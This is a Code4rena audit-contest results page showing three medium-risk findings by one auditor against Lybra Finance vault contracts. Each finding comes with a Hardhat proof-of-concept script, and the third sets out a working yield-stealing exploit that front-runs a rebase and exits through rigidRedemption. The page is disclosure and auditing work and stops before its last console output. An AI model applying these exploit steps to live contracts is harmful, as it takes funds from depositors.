Lybra Finance - max10afternoon's results

A protocol building the first interest-bearing omnichain stablecoin backed by LSD.

General Information

Platform: Code4rena

Start Date: 23/06/2023

Pot Size: $60,500 USDC

Total HM: 31

Participants: 132

Period: 10 days

Judge: 0xean

Total Solo HM: 10

Id: 254

League: ETH

Lybra Finance

Findings Distribution

Researcher Performance

Rank: 8/132

Findings: 3

Award: $1,652.48

🌟 Selected for report: 1

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: georgypetrov

Also found by: 0xRobocop, 3agle, max10afternoon

Labels

bug
2 (Med Risk)
satisfactory
duplicate-931

Awards

202.5014 USDC - $202.50

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L62 https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L98

Vulnerability details

Impact

The stETH vault will sell any accumulated or yielded stETH for eUsd, via the excessIncomeDistribution function. This means that the vault will have at most the exact amount of stETH deposited by users (since any excess is meant to be sold). In case of a negative yield by lido (due to slashing or staking penalties) the stETH balance of the vault will decrease. Since the maximum amount of stETH in the vault is the total deposited by users, a decrease in the balance means that the vault won't have enough assets available to repay all deposits, until enough positive yield has happened. Making the vault temporarily insolvent.

Proof of Concept

the LybraStETHDepositVault contract, redistributes any accumulated yield (and rebases eUSDs), via the excessIncomeDistribution(uint256 stETHAmount) function (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L62) The excess amount to be sold for eUSD by this function is determined by the following line:

uint256 excessAmount = collateralAsset.balanceOf(address(this)) - totalDepositedAsset;

This basically means that the balance of the vault will rarely exceed the total deposited assets by the users. Or at least it is not meant to do so.

Keeping the balance of the vault always at the totalDepositedAsset level means that in case of a negative yield by lido (due to slashing and staking penalties) the balance will go bellow that threshold, and the vault won't have enough stETH to repay all the deposits, until enough yield puts the balance back in a positive range. Making it temporarily insolvent.

Here is a hardhat script that shows the scenario mentioned above To run it you will have to install the @openzeppelin/test-helpers package first. Also, add the following function to ./contracts/mocks/stETHMock.sol to be able to simulate the occurrence of a slashing:

function simulateSlashing(uint256 slashedAmount) external { totalEther = totalEther - slashedAmount; }

After having done the 2 steps above simply run:

const {ethers} = require("hardhat"); const { constants, expectRevert, } = require('@openzeppelin/test-helpers');//questo va installato const { expect } = require("chai"); async function main() { this.accounts = await ethers.getSigners() this.owner = this.accounts[0].address console.log("Deployng contracts...") const goerliEndPoint = '0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23' const goerliChainId = 10121 const oracle = await ethers.getContractFactory("mockChainlink") const stETH = await ethers.getContractFactory("stETHMock") const EUSDMock = await ethers.getContractFactory("EUSD") const configurator = await ethers.getContractFactory("Configurator") const LybraStETHDepositVault = await ethers.getContractFactory("LybraStETHDepositVault") const GovernanceTimelock = await ethers.getContractFactory("GovernanceTimelock") const EUSDMiningIncentives = await ethers.getContractFactory("EUSDMiningIncentives") const esLBRBoost = await ethers.getContractFactory("esLBRBoost") const LBR = await ethers.getContractFactory("LBR") const esLBR = await ethers.getContractFactory("esLBR") const PeUSDMainnet = await ethers.getContractFactory("PeUSDMainnet") const ProtocolRewardsPool = await ethers.getContractFactory("ProtocolRewardsPool") const mockCurvePool = await ethers.getContractFactory("mockCurve")// const mockUSDC = await ethers.getContractFactory("mockUSDC") const lbrOracleMock = await ethers.getContractFactory("mockLBRPriceOracle")// this.oracle = await oracle.deploy() this.lbrOracleMock = await lbrOracleMock.deploy() this.stETHMock = await stETH.deploy() this.GovernanceTimelock = await GovernanceTimelock.deploy(1,[this.owner],[this.owner],this.owner); this.esLBRBoost = await esLBRBoost.deploy() this.usdc = await mockUSDC.deploy() this.mockCurvePool = await mockCurvePool.deploy() this.configurator = await configurator.deploy(this.GovernanceTimelock.address, this.mockCurvePool.address) this.LBR = await LBR.deploy(this.configurator.address, 8, goerliEndPoint) this.esLBR = await esLBR.deploy(this.configurator.address) this.EUSDMock = await EUSDMock.deploy(this.configurator.address) await this.configurator.initToken(this.EUSDMock.address, constants.ZERO_ADDRESS)// this.EUSDMiningIncentives = await EUSDMiningIncentives.deploy(this.configurator.address, this.esLBRBoost.address, this.oracle.address, this.lbrOracleMock.address) this.ProtocolRewardsPool = await ProtocolRewardsPool.deploy(this.configurator.address) this.stETHVault = await LybraStETHDepositVault.deploy(this.configurator.address, this.stETHMock.address, this.oracle.address) this.PeUSDMainnet = await PeUSDMainnet.deploy(this.configurator.address, 8, goerliEndPoint) await this.mockCurvePool.setToken(this.EUSDMock.address, this.usdc.address) await this.configurator.setMintVault(this.stETHVault.address, true); await this.configurator.setPremiumTradingEnabled(true); await this.configurator.setMintVaultMaxSupply(this.stETHVault.address, ethers.utils.parseEther("10000000000")); await this.configurator.setBorrowApy(this.stETHVault.address, 200); await this.configurator.setEUSDMiningIncentives(this.EUSDMiningIncentives.address) await this.EUSDMiningIncentives.setToken(this.LBR.address, this.esLBR.address) await this.ProtocolRewardsPool.setTokenAddress(this.esLBR.address, this.LBR.address, this.esLBRBoost.address); ///////////////////////////////////////////POC//////////////////////////////////////////////////////////// console.log("The vault has: " + await stETHMock.balanceOf(stETHVault.address) + " stETH") console.log("Users have deposited: " + await stETHVault.totalDepositedAsset() + " stETH") //random users, mints stETH and deposits them await stETHMock.connect(accounts[1]).submit(accounts[1].address, {value:ethers.utils.parseEther("1") }); console.log("user1 deposits") await stETHMock.connect(accounts[1]).approve(this.stETHVault.address, ethers.constants.MaxUint256) await stETHVault.connect(accounts[1]).depositAssetToMint(await stETHMock.balanceOf(accounts[1].address),ethers.utils.parseEther("1")); //random users, mints stETH and deposits them await stETHMock.connect(accounts[2]).submit(accounts[2].address, {value:ethers.utils.parseEther("1") }); console.log("user2 deposits") await stETHMock.connect(accounts[2]).approve(this.stETHVault.address, ethers.constants.MaxUint256) await stETHVault.connect(accounts[2]).depositAssetToMint(await stETHMock.balanceOf(accounts[2].address),ethers.utils.parseEther("1")); //random users, mints stETH and deposits them await stETHMock.connect(accounts[3]).submit(accounts[3].address, {value:ethers.utils.parseEther("1") }); console.log("user3 deposits") await stETHMock.connect(accounts[3]).approve(this.stETHVault.address, ethers.constants.MaxUint256) await stETHVault.connect(accounts[3]).depositAssetToMint(await stETHMock.balanceOf(accounts[3].address),ethers.utils.parseEther("1")); console.log("The vault has: " + await stETHMock.balanceOf(stETHVault.address) + " stETH") console.log("Users have deposited: " + await stETHVault.totalDepositedAsset() + " stETH") await network.provider.send("evm_increaseTime", [360000]) await network.provider.send("evm_mine") await stETHMock.connect(accounts[0]).simulateSlashing(ethers.utils.parseEther("10")) console.log("slashing happnes") expect(await stETHMock.balanceOf(stETHVault.address) < await stETHVault.totalDepositedAsset()) console.log("The vault has: " + await stETHMock.balanceOf(stETHVault.address) + " stETH") console.log("Users have deposited: " + await stETHVault.totalDepositedAsset() + " stETH") await stETHVault.connect(accounts[1]).burn(accounts[1].address, await stETHVault.getBorrowedOf(accounts[1].address)) await stETHVault.connect(accounts[1]).withdraw(accounts[1].address, await stETHVault.depositedAsset(accounts[1].address)) console.log("user1 withdraws") await stETHVault.connect(accounts[2]).burn(accounts[2].address, await stETHVault.getBorrowedOf(accounts[2].address)) await stETHVault.connect(accounts[2]).withdraw(accounts[2].address, await stETHVault.depositedAsset(accounts[2].address)) console.log("user2 withdraws") await stETHVault.connect(accounts[3]).burn(accounts[3].address, await stETHVault.getBorrowedOf(accounts[3].address)) //user3 tryes to withdraw but won't be able to try{ await stETHVault.connect(accounts[3]).withdraw(accounts[3].address, await stETHVault.depositedAsset(accounts[3].address)) } catch(err){ console.log("user3 was not able to withdraw due to a lack of funds") //uncommnet this console.log to see stack trace //console.log(err) } } // We recommend this pattern to be able to use async/await everywhere // and properly handle errors. main().catch((error) => { console.error(error); process.exitCode = 1; });

it will log to the console:

Deployng contracts... The vault has: 0 stETH Users have deposited: 0 stETH user1 deposits user2 deposits user3 deposits The vault has: 3000000019025875231 stETH Users have deposited: 3000000004756468795 stETH slashing happnes The vault has: 2998711540579156371 stETH Users have deposited: 3000000004756468795 stETH user1 withdraws user2 withdraws user3 was not able to withdraw due to a lack of funds

Either the dao or the vault (automatically) could spare some stETH to repay all users who wanted to withdraw in case of a negative yield

Assessed type

Other

#0 - c4-pre-sort

2023-07-10T10:39:13Z

JeffCX marked the issue as duplicate of #765

#1 - c4-judge

2023-07-28T18:16:12Z

0xean marked the issue as satisfactory

#2 - c4-judge

2023-07-31T23:21:09Z

0xean marked the issue as duplicate of #931

Awards

5.5262 USDC - $5.53

Labels

bug
2 (Med Risk)
satisfactory
edited-by-warden
duplicate-532

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L192 https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/configuration/LybraConfigurator.sol#L292 https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/ProtocolRewardsPool.sol#L198

Vulnerability details

Impact

The _repay function of the LybraPeUSDVaultBase contract, collects peUSD fees from the balance of the owner of the repaid position and sends them to the Configurator contract, which eventually will send those funds to the ProtocolRewardsPool contract for users to collect them. Both the withdraw and liquidate functionalities of the LybraPeUSDVaultBase vaults won't take those tokens into account, therefor the user will send the full amount of underlying asset after having repaid their debt. Which means that the peUSD sent as fees, have no asset backing them. Making them virtually worthless (the rigidRedemption keeps some assets as fees, but those are not linked to the ones collected by _repay). (eg: if a user deposits 100 wseETH and recives 100 peUSD, when they will withdraw the full amount 2 peUSD will be sent to configurator as fees, but the user will be able the get back the full 100 wstETH, meaning that the 2 peUSD sent as fees have no value attached to them)

Proof of Concept

In order to get the underlying asset out of a lybra's vault (weather is through withdraw, rigid redemptio, or liquidation), the protocol calls the _repay() function (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L192), which sends a percentage of tokens to the configurator as fees, burn the rest (that is being requested), and reduces the borrowed amount by the user and the total amount of peUSD tokens available inside the vault:

if(amount >= totalFee) { feeStored[_onBehalfOf] = 0; PeUSD.transferFrom(_provider, address(configurator), totalFee); PeUSD.burn(_provider, amount - totalFee); } else { feeStored[_onBehalfOf] = totalFee - amount; PeUSD.transferFrom(_provider, address(configurator), amount); } try configurator.distributeRewards() {} catch {} borrowed[_onBehalfOf] -= amount; poolTotalPeUSDCirculation -= amount;

Two out of the tree functions that enable to extract the underlying asset: _withdraw(address _provider, address _onBehalfOf, uint256 _amount) (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L212) (Called by withdraw(), preceded by burn())

and

liquidation(address provider, address onBehalfOf, uint256 assetAmount) (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L125)

Are straight up ignoring the fees occured and are sending the full amount to the withdrawer, leaving the peUSD fees uncovered by any asset.

while rigidRedemption(address provider, uint256 peusdAmount) (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L157), will reduce the amount of collateral sent but the assets subtracted this way are meant to be kept as fee for the rigidRedemption it self (not to back the peUSD sent to configurator):

uint256 collateralAmount = (((peusdAmount * 1e18) / assetPrice) * (10000 - configurator.redemptionFee())) / 10000; depositedAsset[provider] -= collateralAmount; collateralAsset.transfer(msg.sender, collateralAmount);

As can be seen, the first line subtracts a percentage from the withdraw amount based on configurator.redemptionFee(). Which will always return a constant value (since it's a global variable of the configuration contract that can be updated with a setter https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/configuration/LybraConfigurator.sol#L49):

uint256 public redemptionFee = 50;

Which has nothing to do with the fees computed by the _repay() function, which uses the _updateFee(address user) function (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L230) that internally uses a function of mapping(address => uint256) public vaultMintFeeApy from the configuration contract to compute the fees occurred.

Here is a hardhat script that you can run. By commenting and uncommentig the highlighted lines, it can go through a rigidRedemption or burn+withdraw (the lines are highlighted by comments). First install the @openzeppelin/test-helpers pack using npm, than tun the script using hardhat. It will log to the console the results of redeeming with fees.

// etherOracle 0xF53Ac365e7ED2c6460D4FD878EDA61a6BD755B96 // lbrOracle 0xFD52686ae35B259b7C2dC96777Bf98E5Ebf0E747 // stETHMock 0xfC5459c0bEA6C559B9F88dD6d5ca3Ec92E2a2357 // GovernanceTimelock 0xc50e18ecbdf6752bB0730EcC5c1ED0DaB4874dd4 // esLBRBoost 0x7b76103832A5B5236Ce577C6E3D3835c4f829972 // USDC 0xCb708d279Be83333e2410aD4f6f19fc76Eb27F58 // mockCurvePool 0xBAB467eAdf97A6B8502a8f6a6ba6C1260F157760 // configurator 0xaB3202Bff6361d926191Af648A32D5811EA3D991 // LBR 0xCa933be5e76a3b5C962a763501ff6215f8Cd56aF // esLBR 0x71bE199D02c480Ba56075f2F4E81d7E62309D2ad // EUSDMock 0x1e874ED1c0a3e3f543990A99CE15ee09652a74B8 // EUSDMiningIncentives 0x60E9F4EE4c910d7Fce1B5E727b393d055567Cbf5 // ProtocolRewardsPool 0xc44B70DD878067bfBc961191C79EA7F9c5aa679a // stETHVault 0x04dF0B64b59f3f445d483DBaA2289b35992E726F // PeUSDMainnet 0x5Af2DF7639df6558907c20368969e851d266F9bC // WstETH address 0xCfEf753aae79306Df7dAa39121a90cC8D4Bf88EC // LybraWstETHVault address 0x166777f06c7518182d974cA159ddaC78Ba874ABE const {ethers} = require("hardhat"); const { constants, expectRevert, } = require('@openzeppelin/test-helpers'); const { expect } = require("chai"); async function main() { this.accounts = await ethers.getSigners() this.owner = this.accounts[0].address console.log("Deployng contracts...") const goerliEndPoint = '0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23' const goerliChainId = 10121 const oracle = await ethers.getContractFactory("mockChainlink") const stETH = await ethers.getContractFactory("stETHMock") const wstETH = await ethers.getContractFactory("WstETH") const EUSDMock = await ethers.getContractFactory("EUSD") const configurator = await ethers.getContractFactory("Configurator") const LybraStETHDepositVault = await ethers.getContractFactory("LybraStETHDepositVault") const LybraWstETHDepositVault = await ethers.getContractFactory("LybraWstETHVault") const GovernanceTimelock = await ethers.getContractFactory("GovernanceTimelock") const EUSDMiningIncentives = await ethers.getContractFactory("EUSDMiningIncentives") const esLBRBoost = await ethers.getContractFactory("esLBRBoost") const LBR = await ethers.getContractFactory("LBR") const esLBR = await ethers.getContractFactory("esLBR") const PeUSDMainnet = await ethers.getContractFactory("PeUSDMainnet") const ProtocolRewardsPool = await ethers.getContractFactory("ProtocolRewardsPool") const mockCurvePool = await ethers.getContractFactory("mockCurve")// const mockUSDC = await ethers.getContractFactory("mockUSDC") const lbrOracleMock = await ethers.getContractFactory("mockLBRPriceOracle")// this.oracle = await oracle.deploy() this.lbrOracleMock = await lbrOracleMock.deploy() this.stETHMock = await stETH.deploy() this.wstETHMock = await wstETH.deploy(this.stETHMock.address) this.GovernanceTimelock = await GovernanceTimelock.deploy(1,[this.owner],[this.owner],this.owner); this.esLBRBoost = await esLBRBoost.deploy() this.usdc = await mockUSDC.deploy() this.mockCurvePool = await mockCurvePool.deploy() this.configurator = await configurator.deploy(this.GovernanceTimelock.address, this.mockCurvePool.address) this.LBR = await LBR.deploy(this.configurator.address, 8, goerliEndPoint) this.esLBR = await esLBR.deploy(this.configurator.address) this.EUSDMock = await EUSDMock.deploy(this.configurator.address) await this.configurator.initToken(this.EUSDMock.address, constants.ZERO_ADDRESS)// this.EUSDMiningIncentives = await EUSDMiningIncentives.deploy(this.configurator.address, this.esLBRBoost.address, this.oracle.address, this.lbrOracleMock.address) this.ProtocolRewardsPool = await ProtocolRewardsPool.deploy(this.configurator.address) this.stETHVault = await LybraStETHDepositVault.deploy(this.configurator.address, this.stETHMock.address, this.oracle.address) this.PeUSDMainnet = await PeUSDMainnet.deploy(this.configurator.address, 8, goerliEndPoint) this.wstETHVault = await LybraWstETHDepositVault.deploy("0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84", this.PeUSDMainnet.address ,this.oracle.address, this.wstETHMock.address, this.configurator.address) await this.mockCurvePool.setToken(this.EUSDMock.address, this.usdc.address) await this.configurator.setMintVault(this.stETHVault.address, true); await this.configurator.setMintVault(this.wstETHVault.address, true); await this.configurator.setPremiumTradingEnabled(true); await this.configurator.setMintVaultMaxSupply(this.stETHVault.address, ethers.utils.parseEther("10000000000")); await this.configurator.setMintVaultMaxSupply(this.wstETHVault.address, ethers.utils.parseEther("10000000000")); await this.configurator.setBorrowApy(this.stETHVault.address, 200); await this.configurator.setBorrowApy(this.wstETHVault.address, 200); await this.configurator.setEUSDMiningIncentives(this.EUSDMiningIncentives.address) await this.EUSDMiningIncentives.setToken(this.LBR.address, this.esLBR.address) await this.ProtocolRewardsPool.setTokenAddress(this.esLBR.address, this.LBR.address, this.esLBRBoost.address); ///////////////////////////////////////////////////////////////////////////////////////////////////////////// await stETHMock.connect(accounts[0]).approve(wstETHMock.address, ethers.constants.MaxUint256) await wstETHMock.connect(accounts[0]).wrap(stETHMock.balanceOf(accounts[0].address)) t = await this.PeUSDMainnet.balanceOf(this.configurator.address) console.log("Configurators has: "+ t + " peUSD") t = await this.wstETHMock.balanceOf(this.configurator.address) console.log("And it has:" + t + " wstETH backing them"); t = await this.wstETHMock.balanceOf(this.configurator.address) console.log("Also there are: " + t + " wstETH in the vault"); const depAmount = wstETHMock.balanceOf(accounts[0].address) await wstETHMock.connect(accounts[0]).approve(this.wstETHVault.address, ethers.constants.MaxUint256) await this.wstETHVault.connect(accounts[0]).depositAssetToMint(depAmount,"100000000000000") t = await this.PeUSDMainnet.balanceOf(accounts[0].address) console.log("User mints: "+ t + " peUSD") //skip time to generate fees await network.provider.send("evm_increaseTime", [36000000]) await network.provider.send("evm_mine") /////////Comment or uncomment either this 2 line of codes or the 2 below, to go through rigidRedemption or burn+withdraw//////// await this.wstETHVault.connect(accounts[0]).burn(accounts[0].address, this.PeUSDMainnet.balanceOf(accounts[0].address)) await this.wstETHVault.connect(accounts[0]).withdraw(accounts[0].address, depAmount) // await this.configurator.connect(accounts[0]).becomeRedemptionProvider(true) // await this.wstETHVault.connect(accounts[0]).rigidRedemption(accounts[0].address, "100000000000000") /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// console.log("After sometimes user withdraw all of their balance and generates peUSD fees to the configurator") console.log("Those peUSD have no assets covering them: ") t = await this.PeUSDMainnet.balanceOf(this.configurator.address) console.log("Configurators has: "+ t + " peUSD") t = await this.wstETHMock.balanceOf(this.configurator.address) console.log("And it has: " + t + " wstETH backing them"); t = await this.wstETHMock.balanceOf(this.configurator.address) console.log("Also there are " + t + " wstETH in the vault"); //the user has witdrawn all the wseETH expect(depAmount==await wstETHMock.balanceOf(accounts[0].address)) } // We recommend this pattern to be able to use async/await everywhere // and properly handle errors. main().catch((error) => { console.error(error); process.exitCode = 1; });

All the withdraw functionalities should use the same math used by _repay() to compute the fees, in order to avoid sending the full amount of underlying asset to the withdrawer leaving enough in the vault to cover the fees.

Assessed type

Other

#0 - c4-pre-sort

2023-07-10T11:31:47Z

JeffCX marked the issue as duplicate of #532

#1 - c4-judge

2023-07-28T15:39:49Z

0xean marked the issue as satisfactory

Findings Information

🌟 Selected for report: max10afternoon

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
sponsor confirmed
edited-by-warden
M-15

Awards

1444.4545 USDC - $1,444.45

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L232

Vulnerability details

Impact

The withdraw function of the LybraEUSDVaultBase vaults, uses a time softlock to prevent users from hopping in and out of the protocol, to gain access to the yield generated by other users and then leave right away (by charging a small percentage from the withdrawn amount). The same measure isn't applied to rigidRedemptions, which enable a user to withdraw most of the underlying assets at any time after deposit. This enables an user to deposit into the pool right before a rabase is about to happen, get access to the yield generated by other users and leave by calling rigidRedemption and withdraw on the tokens left by rigid redemption (the amount charged on the leftovers assets, can be outbalanced by the yield). Therefor a malicious user to get access to yield that they didn't generated, effectively stealing it from others. The amount that the user will get access to will vary based on the deposited amounts.

Proof of Concept

This issue involves 3 function: withdraw(address onBehalfOf, uint256 amount) from the LybraEUSDVaultBase contract (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L98) which internally calls checkWithdrawal(address user, uint256 amount)(https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L98) to check that 3 days has passed after deposit, and charges the user otherways:

withdrawal = block.timestamp - 3 days >= depositedTime[user] ? amount : (amount * 999) / 1000;

rigidRedemption(address provider, uint256 eusdAmount) from the LybraEUSDVaultBase contract (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L232) which enables a user to withdraw the full borrowed amount getting back a 1:1 ratio of collateral (the rest will be left in the vault, and can be withdrawn)

* @notice Choose a Redemption Provider, Rigid Redeem `eusdAmount` of EUSD and get 1:1 value of stETH * Emits a `RigidRedemption` event.

excessIncomeDistribution(uint256 stETHAmount) from the LybraStETHDepositVault contract (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L62) which enables anyone to buy the stETH, generated by lido to the vault (or by charging on withdraws and rigidRedemptions), for EUSD, allocating them to EUSD holders through rebasing

* @notice When stETH balance increases through LSD or other reasons, the excess income is sold for EUSD, allocated to EUSD holders through rebase mechanism. * Emits a `LSDValueCaptured` event.

Scenario: Step0: users use the protocol as intended depositing stETH which will generate a yield Step1: Bob calls the rebase mechanism (excessIncomeDistribution) Step2: Alice sees the rebase and preceeds it with a deposit (either by frontruinng or by pure prediction, since stETH rebase happens daily at a fixed time) Step3: Right after Bob's rebase gets executed, Alice calls rigidRedemption (to repay the full debt) followed by withdraw (to get the difference out), getting most of the stETH back and some EUSD Step4: Since the stETH charged by the withdraw function is left in the vault, if she wants, Alice can now call excessIncomeDistribution, to get the tokens back, using the EUSD recived by rebasing, and leaving with slightly more stETH and some EUSD, that she got for free, leaving 0 debts and 0 assets deposited, having left her tokens in the vault for a few seconds.

Here is an hardhat script that shows the scenario above in javascript (each step is highlighted in the comments, and it will print all the balances to the console). Before running it you'll have to install the '@openzeppelin/test-helpers' package:

const {ethers} = require("hardhat"); const { constants, expectRevert, } = require('@openzeppelin/test-helpers');//questo va installato const { expect } = require("chai"); async function main() { this.accounts = await ethers.getSigners() this.owner = this.accounts[0].address console.log("Deployng contracts...") const goerliEndPoint = '0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23' const goerliChainId = 10121 const oracle = await ethers.getContractFactory("mockChainlink") const stETH = await ethers.getContractFactory("stETHMock") const EUSDMock = await ethers.getContractFactory("EUSD") const configurator = await ethers.getContractFactory("Configurator") const LybraStETHDepositVault = await ethers.getContractFactory("LybraStETHDepositVault") const GovernanceTimelock = await ethers.getContractFactory("GovernanceTimelock") const EUSDMiningIncentives = await ethers.getContractFactory("EUSDMiningIncentives") const esLBRBoost = await ethers.getContractFactory("esLBRBoost") const LBR = await ethers.getContractFactory("LBR") const esLBR = await ethers.getContractFactory("esLBR") const PeUSDMainnet = await ethers.getContractFactory("PeUSDMainnet") const ProtocolRewardsPool = await ethers.getContractFactory("ProtocolRewardsPool") const mockCurvePool = await ethers.getContractFactory("mockCurve")// const mockUSDC = await ethers.getContractFactory("mockUSDC") const lbrOracleMock = await ethers.getContractFactory("mockLBRPriceOracle")// this.oracle = await oracle.deploy() this.lbrOracleMock = await lbrOracleMock.deploy() this.stETHMock = await stETH.deploy() this.GovernanceTimelock = await GovernanceTimelock.deploy(1,[this.owner],[this.owner],this.owner); this.esLBRBoost = await esLBRBoost.deploy() this.usdc = await mockUSDC.deploy() this.mockCurvePool = await mockCurvePool.deploy() this.configurator = await configurator.deploy(this.GovernanceTimelock.address, this.mockCurvePool.address) this.LBR = await LBR.deploy(this.configurator.address, 8, goerliEndPoint) this.esLBR = await esLBR.deploy(this.configurator.address) this.EUSDMock = await EUSDMock.deploy(this.configurator.address) await this.configurator.initToken(this.EUSDMock.address, constants.ZERO_ADDRESS)// this.EUSDMiningIncentives = await EUSDMiningIncentives.deploy(this.configurator.address, this.esLBRBoost.address, this.oracle.address, this.lbrOracleMock.address) this.ProtocolRewardsPool = await ProtocolRewardsPool.deploy(this.configurator.address) this.stETHVault = await LybraStETHDepositVault.deploy(this.configurator.address, this.stETHMock.address, this.oracle.address) this.PeUSDMainnet = await PeUSDMainnet.deploy(this.configurator.address, 8, goerliEndPoint) await this.mockCurvePool.setToken(this.EUSDMock.address, this.usdc.address) await this.configurator.setMintVault(this.stETHVault.address, true); await this.configurator.setPremiumTradingEnabled(true); await this.configurator.setMintVaultMaxSupply(this.stETHVault.address, ethers.utils.parseEther("10000000000")); await this.configurator.setBorrowApy(this.stETHVault.address, 200); await this.configurator.setEUSDMiningIncentives(this.EUSDMiningIncentives.address) await this.EUSDMiningIncentives.setToken(this.LBR.address, this.esLBR.address) await this.ProtocolRewardsPool.setTokenAddress(this.esLBR.address, this.LBR.address, this.esLBRBoost.address); ///////////////////////////////////////////POC//////////////////////////////////////////////////////////// //random users, mints stETH and deposits them (only 1 in the script for simplicity) await stETHMock.connect(accounts[2]).submit(accounts[2].address, {value:ethers.utils.parseEther("1000") }); await stETHMock.connect(accounts[2]).approve(this.stETHVault.address, ethers.constants.MaxUint256) await stETHVault.connect(accounts[2]).depositAssetToMint(await stETHMock.balanceOf(accounts[2].address),ethers.utils.parseEther("10000")); //time passes generathing stETH yield await network.provider.send("evm_increaseTime", [6500]) await network.provider.send("evm_mine") //user 3 balances before exploit await stETHMock.connect(accounts[3]).submit(accounts[3].address, {value:ethers.utils.parseEther("100") }); //timestamp const blockNumBefore = await ethers.provider.getBlockNumber(); const blockBefore = await ethers.provider.getBlock(blockNumBefore); const timestampBefore = blockBefore.timestamp; console.log("Timestamp before the exploit: " + timestampBefore) //stETH balance const sthETHBalanceBefore = await stETHMock.balanceOf(accounts[3].address) console.log("sthETHBalance before the exploit: " +sthETHBalanceBefore) //EUSD shares const EUSDSharesBefore = await this.EUSDMock.sharesOf(accounts[3].address) console.log("EUSD shares before the exploit: " + EUSDSharesBefore) //EUSD balance const EUSDBalanceBefore = await this.EUSDMock.balanceOf(accounts[3].address) console.log("EUSD balance before the exploit: " + EUSDBalanceBefore) //Deposited assets const depositedAssetBefore = await stETHVault.depositedAsset(accounts[3].address) console.log("Deposited assets before the exploit: " + depositedAssetBefore) //Borrowed amount const borrowedBefore = await stETHVault.getBorrowedOf(accounts[3].address) console.log("Borrowed amount before the exploit: " + borrowedBefore) //right before somene calls the rebasde function (excessIncomeDistribution) user3 deposits into the vault const depositedAmount = ethers.utils.parseEther("1.0") await stETHMock.connect(accounts[3]).approve(this.stETHVault.address, ethers.constants.MaxUint256) await stETHVault.connect(accounts[3]).depositAssetToMint(depositedAmount,ethers.utils.parseEther("1000.0")) //someone call excessIncomeDistribution causing the rebase to distribute the yield to users await stETHVault.connect(accounts[2]).excessIncomeDistribution(ethers.utils.parseEther("0.01")) console.log("Alice deposits before rebase and withdraws immediately after") //right after the rebase user3 redeems all the necessary tokens await this.configurator.connect(accounts[3]).becomeRedemptionProvider(true) await stETHVault.connect(accounts[3]).rigidRedemption(accounts[3].address, await stETHVault.getBorrowedOf(accounts[3].address)) await stETHVault.connect(accounts[3]).withdraw(accounts[3].address,await stETHVault.depositedAsset(accounts[3].address)); await stETHVault.connect(accounts[3]).excessIncomeDistribution(ethers.utils.parseEther("0.01")) //user3 balances after exploit //timestamp const blockNumAfter = await ethers.provider.getBlockNumber(); const blockAfter = await ethers.provider.getBlock(blockNumAfter); const timestampAfter = blockAfter.timestamp; console.log("Timestamp after the exploit: " + timestampAfter) //stETH balance const sthETHBalanceAfter = await stETHMock.balanceOf(accounts[3].address) console.log("sthETH balance after the exploit: " +sthETHBalanceAfter) //EUSD shares const EUSDSharesAfter = await this.EUSDMock.sharesOf(accounts[3].address) console.log("EUSD shares after the exploit: " + EUSDSharesAfter) //EUSD balance const EUSDBalanceAfter = await this.EUSDMock.balanceOf(accounts[3].address) console.log("EUSD balance after the exploit: " + EUSDBalanceAfter) //Deposited assets const depositedAssetAfter = await stETHVault.depositedAsset(accounts[3].address) console.log("Deposited assets after the exploit: " + depositedAssetAfter) //Borrowed amount const borrowedAfter = await stETHVault.getBorrowedOf(accounts[3].address) console.log("Borrowed amount after the exploit: " + borrowedAfter) expect(sthETHBalanceAfter > sthETHBalanceBefore) } // We recommend this pattern to be able to use async/await everywhere // and properly handle errors. main().catch((error) => { console.error(error); process.exitCode = 1; });

It will log the following content to the console:

